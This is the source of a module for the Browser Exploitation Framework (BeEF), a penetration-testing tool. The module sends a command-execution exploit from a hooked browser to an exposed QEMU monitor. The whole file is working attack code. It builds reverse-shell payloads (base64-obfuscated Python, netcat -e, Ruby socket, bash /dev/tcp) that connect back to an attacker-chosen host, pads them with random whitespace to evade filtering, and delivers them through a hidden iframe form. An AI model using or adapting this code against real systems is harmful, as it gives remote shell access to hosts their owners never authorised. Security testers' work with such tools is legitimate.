//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var rhost = '<%= @rhost %>';
  var rport = '<%= @rport %>';
  var lhost = '<%= @lhost %>';
  var lport = '<%= @lport %>';
  var timeout = 5;
  var payload_name = '<%= @payload %>';
  var peer = rhost + ':' + rport;

  payload = function() {
    var whitespace = '';
    for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';
    var payload = '';
    switch (payload_name) {
      case "reverse_python2":
        var cmd = "import socket,subprocess,os;host='"+lhost+"';port="+lport+";s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"
        cmd = cmd.replace(/,/g, whitespace+','+whitespace).replace(/;/g, whitespace+';'+whitespace)
        var encoded_cmd = btoa(cmd);
        payload = "/usr/bin/python2 -c \\\"exec ( '" + encoded_cmd + "'.decode ( 'base64' ) )\\\"";
        payload = payload.replace(/ /g, whitespace);
        break;
      case "reverse_netcat":
        payload = "/bin/nc " + lhost + " " + lport + " -e /bin/sh";
        payload = payload.replace(/ /g, whitespace);
        break;
      case "reverse_ruby":
        payload = "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\\\"" + lhost + "\\\",\\\"" + lport + "\\\");while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end'"
        payload = payload.replace(/ /g, whitespace);
        break;
      default: // "reverse_bash"
        payload = "/bin/bash -c '/bin/bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1'";
        payload = payload.replace(/ /g, whitespace);
        break;
    }
    return 'migrate "exec:' + payload + '"'
  }

  try {
    var code = payload();
    beef.debug("[qemu_monitor_migrate_cmd_exec] " + peer + " - Sending payload (" + code.length + " bytes)");
    var iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/", code);
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
  } catch(e) {
    beef.debug("[qemu_monitor_migrate_cmd_exec] " + peer + " - Exploit failed: " + e.message);
  }

  cleanup = function() {
    try {
      document.body.removeChild(iframe_<%= @command_id %>);
    } catch(e) {
      beef.debug("[qemu_monitor_migrate_cmd_exec] Could not remove iframe: " + e.message);
    }
  } 
  setTimeout("cleanup()", timeout*1000);

});
